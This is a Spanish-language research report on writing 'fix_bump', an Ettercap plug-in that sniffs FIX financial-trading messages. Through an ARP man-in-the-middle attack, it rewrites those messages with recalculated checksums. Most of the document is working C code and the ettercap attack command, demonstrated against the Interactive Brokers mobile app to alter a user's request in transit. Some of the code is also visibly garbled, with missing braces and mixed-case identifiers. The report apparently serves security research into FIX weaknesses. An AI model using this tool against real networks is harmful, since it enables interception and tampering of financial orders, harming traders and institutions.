Sniffing a protocolos FIX

Transcripción

1 Sniffing a protocolos FIX Programando un Plug-In para ettercap Adrián Portabales Goberna

2 1. Introducción Protocolos FIX: The Financial Information exchange (FIX) protocol is an electronic communications protocol initiated in 1992 for international real-time exchange of information related to the securities transactions and markets. With trillions of dollars traded annually on the NASDAQ alone, financial service entities are investing heavily in optimizing electronic trading and employing direct market access (DMA) to increase their speed to financial markets. Managing the delivery of trading applications and keeping latency low increasingly requires an understanding of the FIX protocol. Wikipedia. 1.2 Quien usa FIX? Se dice que almenos en el 90% de las operaciones electrónicas financieras. En la web nos encontramos un listado con las empresas que adoptan este protocolo. Instituciones, brokers/dealers, mercados financieros, bancos, fondos de inversión son los clientes típicos de este protocolo. En el siguiente imagen se expone un diagrama de un sistema FIX:

3 1.3 Mensajes FIX Los mensaje FIX es una serie de campos CLAVE=VALOR delimitados por el carácter ASCII 01 <start of header> (SOH). Esta compuesto por una cabecera, un cuerpo y un final. Por ejemplo en la versión 4.4 de FIX, la cabecera contendrá estos tres campos: 1. 8 (BeginString) 2. 9 (BodyLength) (MsgType) El cuerpo del mensaje es totalmente dependiente del tipo del mensaje definido en la cabecera. El ultimo campo del mensaje siempre sera el TAG 10 (Checksum) y estará compuesto por tres números (E.J.: 10=021). Por tanto y como decíamos el mensaje final sera la composición de estas tres partes. Un ejemplo de un mensaje entero podría ser algo tal que así: 8=FIX.4.2 9=178 35=8 49=PHLX 56=PERS 52= :30: =ATOMNOCCC =3 150=E 39=E 55=MSFT 167=CS 54=1 38=15 40=2 44=15 58=PHLX EQUITY TESTING 59=0 47=C 32=0 31=0 151=15 14=0 6=0 10=128 (sustituyendo la barra por el carácter <SOH>) 1.4 Conclusión Introducción Nos encontramos con un protocolo fundamental para el sistema actual donde se sustenta toda la economía de países, empresas etc. Ante este escenario, Podríamos decir que el protocolo FIX es seguro? Depende. Y es que la poca información que nos encontramos en internet sobre la seguridad de este protocolo y posibles ataques es NULA. Esto deja un camino muy grande por donde investigar. Que podríamos investigar? Vulnerabilidades en el software. Posibles riesgos de penetración y ataques DOS. Sniffing y parsing de mensajes. Y hasta donde la imaginación nos de... En este report nos centraremos en el Sniffing y parsing de mensajes. No existe nada en la red donde nos facilite esta tarea, así que nos centraremos en la programación de un Plug-In para el archiconocido Ettercap. Para esta tarea también podríamos programar, que seria lo lógico si quisiesemos simplemente representar los datos que viajan en la red, un dissector; Pero es que lo vamos a llevar mas allá e intentaremos modificar los datos que se envían.

4 2.Programando un Plug-In para Ettercap. Ettercap nos da la posibilidad de activar o desactivar plugins al vuelo, bajo demanda de lo que necesitemos. De serie ya trae diversos plugins instalados, además de un esqueleto para la programación de uno nuevo (~plug-ins/dummy) En el siguiente link tendremos un pequeño tutorial con mas detalle y es que buscare simplificar este paso. Me he encontrado con diversos problemas y explicare como solucionarlos, buscando la máxima simpleza. En la web de ettercap tendremos el código fuente de todo el software necesario. Necesitaremos ciertas librerías para poder compilar el Ettercap (Explicado en el archivo README en la raiz de la carpeta ettercap, sección REQUIRED LIBRARIES) 2.1 Partiendo de dummy.c Recomiendo partir de este archivo, ya que es lo que necesitaremos para programar nuestro primer Plug-In. Tendremos un codigo comentado y listo para empezar. Si quereis crear un nuevo archivo, copiar todo (Junto con los Makefile) a una nueva carpeta, y dentro de Makefile hacer un replace de las cadena dummy.c por el nombre de vuestro nuevo fichero. 2.2 Manos a la obra: Creación de fix_bump.c Que es fix_bump? Un plugin que detecta y modifica mensajes FIX. Como lo hace? Expliquemoslo: La primera parte del archivo sera las cabeceras necesarias para las funciones y estructuras del ettercap: #include <ec.h> #include <ec_plugins.h> #include <ec_packet.h> #include <ec_hook.h> Luego definiremos los prototipos y el registro del plugin: /* prototypes */ int plugin_load(void *); static int fix_bump_init(void *); static int fix_bump_fini(void *); static void fix_bump(struct packet_object *po); struct plugin_ops fix_bump_ops = { ettercap_version: EC_VERSION, name: "fix_bump", info: "Detect and modify data in fix protocol", version: "0.1", init: &fix_bump_init, fini: &fix_bump_fini, ; int plugin_load(void *handle){ return plugin_register(handle, &fix_bump_ops); static int fix_bump_init(void *dummy){ USER_MSG("fix_bump: plugin running...\n"); hook_add(hook_packet_tcp, &fix_bump); return PLUGIN_RUNNING;

5 static int fix_bump_fini(void *dummy){ USER_MSG("fix_bump: plugin terminated...\n"); hook_del(hook_packet_tcp, &fix_bump); return PLUGIN_FINISHED; La segunda parte del archivo sera la función donde se encontrara el algoritmo de nuestro plugin, la primera versión solo servirá para rastrear los mensajes FIX y lo definiremos así: static void fix_bump(struct packet_object *po){ char tmp1[max_ascii_addr_len]; char tmp2[max_ascii_addr_len]; if (po->data.disp_len!= 0 && strstr(po->data.disp_data, "8=FIX")){ USER_MSG("Conexion: %s -> %s [%d]\n",ip_addr_ntoa(&po->l3.src, tmp1), ip_addr_ntoa(&po- >L3.dst, tmp2), ntohs(po->l4.dst)); USER_MSG("Mensaje Fix: %s\n",po->data.data); Esta pequeña función en C lo que hará sera usar la estructura packet_object (mas información de como están definidas las estructuras de ettercap aquí) para buscar en los datos del todos los paquetes de la red el string 8=FIX que sera el identificativo de un mensaje FIX. Una vez encontrado el mensaje se imprimirá la conexión (ip fuente ip destino [puerto]) y el mensaje en si. Compilando esto ya tendremos un plugin funcional y podrás leer todos los mensajes FIX no encriptados. Si queremos ejecutarlo recomiendo usar el siguiente comando: sudo ettercap -T -M arp:remote -i eth0 // // -q -P fix_bump Los comandos ejecutados son los siguientes: -T: Usar modo texto -M <METHOD:ARGS>: Seleccionar un man in the middle attack arp -i <iface>: Interfaz de red donde esta conectado nuestro pc -q: Modo quiet, no imprima nada -P <plugin>: Iniciar Plug-In Ejemplo de salida:

6 2.3 Resaltando las compras de un broker real. Y si estamos en una red donde se use distintos brokers, y queremos resaltar las compras de acciones, Podemos? Por supuesto. En esta prueba de concepto usare la aplicación movil de Interactive Brokers (mobiletws), es decir, un software real usado por miles de profesionales del Trading. El motivo de usar la aplicación móvil es que la aplicación de escritorio cifran ciertos campos (que no todos) mientras que en la aplicación móvil apenas se cifran nada (Muy mala practica..) Primero haremos el parsing en nuestro Plug-In, modificaremos la función principal con el siguiente código: char *tmp,*tipocompra,compra[10],*compra2,cantidad[10],*cantidad2; if (po->data.disp_len!= 0 && strstr(po->data.disp_data, "8=FIX")){ USER_MSG("Conexion %s -> %s [%d]\n",ip_addr_ntoa(&po->l3.src, tmp1), ip_addr_ntoa(&po- >L3.dst, tmp2), ntohs(po->l4.dst)); USER_MSG("\t%s\n",po->DATA.data); tmp = strdup(po->data.disp_data); compra2 = strstr(tmp, "7104="); if (compra2!= NULL){ compra2 = compra2+5; memset(compra,0,sizeof(compra)); memcpy(compra,compra2, searchsoh(compra2)); if(strstr(tmp, "54=")[3]==66) tipocompra="compra"; else if (strstr(tmp, "54=")[3]==83) tipocompra="venta"; cantidad2 = (strstr(tmp, "151=")+4); memset(cantidad,0,sizeof(cantidad)); memcpy(cantidad,cantidad2, searchsoh(cantidad2)); USER_MSG("Operacion detectada!!\n \t Tipo: %s ",tipocompra); USER_MSG("Precio: \t %s \t",compra); USER_MSG("Cantidad: \t %s \t ",cantidad); USER_MSG("\n"); Buscaremos el tag 7104 ya que he descubierto que es el que usa Interactive Brokers (de aquí en adelante IB) para las compras. Si existe ese tag en el mensaje es que se esta efectuando una compra o venta de acciones. En la programación de un plugin de Ettercap siempre deberemos inicializar una variable del tipo char * var[] con la llamada al sistema memset() si no tendremos un Segmentation Fault. Toda la lógica de este pequeño código es para la representación de los datos obtenidos. Ejemplo de compra de acciones:

7 Operamos primero en el móvil. Y vemos la operación en nuestra pantalla del PC: 2.4 Una vuelta de tuerca, Y si queremos modificar los mensajes que se envían? Supongo que a la altura de este report puedes pensar, Esto mismo no se se puede hacer con un filtro del ettercap? Efectivamente, hasta llegado a este punto. Y es que cuando modificamos alguna cadena en un mensaje FIX el valor del CheckSum cambiara, por tanto necesitaríamos recalcularlo o la aplicación nos dará error. Por tanto he creado las siguientes funciones para para poder modificar los valores de los mensajes, añadiendo al final el nuevo CheckSum recalculado.

8 Función para recalcular el nuevo CheckSum. Gracias a este link, donde encontraremos toda la información necesaria. char *GenerateCheckSum( char *buf, long buflen ) { static char tmpbuf[ 4 ]; long idx; unsigned int cks; for( idx = 0L, cks = 0; idx < buflen; cks += (unsigned int)buf[ idx++ ] ); sprintf( tmpbuf, "%03d", (unsigned int)( cks % 256 ) ); return( tmpbuf ); Funciones Auxiliares: //Funcion que que busca el modulo del checksum a partir de una cadena con checksum. //Devuelve un int que sera el modulo de la funcion GenerateCheckSum long calcularchecksum(char *cadena,char *valor_a_comprobar){ long i=0; while(1){ if (strcmp(generatechecksum(cadena,i),valor_a_comprobar)==0) break; i++; return i; //Quita el checksum de una cadena, devolviendo la cadena por la variable salida sin el checksum. Devuelve el checksum eliminado char *quitarchecksum(char *cadena,char *salida,char checksum[]){ int i; i = strlen(cadena)-2; while(cadena[i]!=0x01){ i--; i++; strcpy(salida,cadena); salida[i] = '\0'; int j; int f=0; while(strlen(cadena)>i+3){ j =i+3; if(cadena[j]==0x01) break; checksum[f]=cadena[j]; i++; f++; return checksum; //Busca el primer caracter SOH de una cadena dada int *searchsoh(char *cadena){ int i=0; while(i<strlen(cadena)){ if (cadena[i]==0x01){break; i++; return i;

9 Función Principal static void fix_bump(struct packet_object *po){ char *tmp,*tmp3,*tipocompra,compra[10],tag[10],*compra2,cantidad[10],*cantidad2; char a[6]; char nuevovalor[256],valorviejo[20]; int i=0,j=0; char tmp1[max_ascii_addr_len]; char tmp2[max_ascii_addr_len]; if (!(po->flags & PO_FORWARDABLE)) return PLUGIN_FINISHED; if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("fix_bump: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; if (po->data.disp_len!= 0 && strstr(po->data.disp_data, "8=FIX")){ USER_MSG("Conexion %s -> %s [%d]\n",ip_addr_ntoa(&po->l3.src, tmp1), ip_addr_ntoa(&po- >L3.dst, tmp2), ntohs(po->l4.dst)); USER_MSG("\t%s\n",po->DATA.data); tmp = strdup(po->data.disp_data); memset(a, 0, sizeof(a)); //GBL_OPTIONS->quiet = 1; ui_input("\ndesea modificar el mensaje? 1-Si 0-No : ", a, sizeof(a), NULL); if (strcmp(a,"1")==0){ memset(nuevovalor, 0, sizeof(nuevovalor)); ui_input("introduzca el tag a modificar con la estructura CLAVE=VALOR : ", nuevovalor, sizeof(nuevovalor), NULL); char salida[512]; char checksum[150]; memset(salida, 0, sizeof(salida)); memset(checksum, 0, sizeof(checksum)); quitarchecksum(tmp,salida,checksum); long nuevomodulochecksum=calcularchecksum(salida,checksum); memset(tag,0,sizeof(tag)); memcpy(tag,nuevovalor, searchequals(nuevovalor)); //Buscamos la CLAVE=VALOR vieja que vamos a remplazar memset(valorviejo,0,sizeof(valorviejo)); tmp3 = strstr(tmp,tag); memcpy(valorviejo,tmp3,searchsoh(tmp3)); strcpy(salida,replace_str(salida,valorviejo,nuevovalor)); char *nuevochecksum=generatechecksum(salida,nuevomodulochecksum); //Concatenamos con el nuevo checksum strcat(salida,"10="); strcat(salida,nuevochecksum); //Anhadimos al final el caracter <SOH> int tam = strlen(salida); salida[tam]=0x01; salida[tam+1]='\0'; USER_MSG("\n\n\n%s\n",salida ); USER_MSG("%s\n\n\n\n",po->DATA.disp_data); memcpy(po->data.disp_data,salida,strlen(salida)-9); memcpy(po->data.data,salida,strlen(salida)-9); //po->data.disp_data=salida; //str_replace(&po->data.disp_data, po->data.disp_data, "otra forma de reemplazar"); //Flag de paquete modificado

10 po->flags = PO_MODIFIED; size_t max_len; max_len = GBL_IFACE->mtu - (po->l4.header - (po->packet + po->l2.len) + po->l4.len); /* the packet has exceeded the MTU */ if (po->data.len > max_len) { po->data.inject = po->data.data + max_len; po->data.inject_len = po->data.len - max_len; po->data.delta -= po->data.len - max_len; po->data.len = max_len; USER_MSG("que envia: %s\n\n\n\n",po->data.disp_data); USER_MSG("que envia: %s\n\n\n\n",po->data.data); Se ha modificado la función principal para que una vez detectado un mensaje FIX pregunte al usuario con la función ui_input implementada en ettercap si desea modificar el mensaje. En caso afirmativo se propone que se introduzca un string de la forma TAG=VALOR que sera el nuevo valor del tag elegido. Cambien se hacen las operaciones necesarias para eliminar el viejo checksum y añadir el nuevo. Parámetros a destacar para ettercap: GBL_OPTIONS->quiet = 1; Se usara para no imprimir nada mientras se interactué con la consola. po->flags = PO_MODIFIED; Para cuando se modifique el paquete. La forma de introducir un valor a ettercap, sera inicializando la variable con memset.

11 Ejemplo de ejecución (Usuario busca el índice IBEX y se lo cambiamos por la acción Facebook $FB):

12 El trafico en la red: Observamos que Paquete 32 es el cliente, el cual redirige su trafico hacia mi tarjeta de red (ya que estamos creando un MITM) y luego el Paquete 33 ya se redirige al router con la información cambiada. Imagen 1: Lo que envia el usuario Imagen 2: Como se modifica.

13 Bibliografia: urity_tools/developing_dissectors_and_plug-ins_for_the_ettercap_network_sniffer#networkst- CHP-2-FIG-2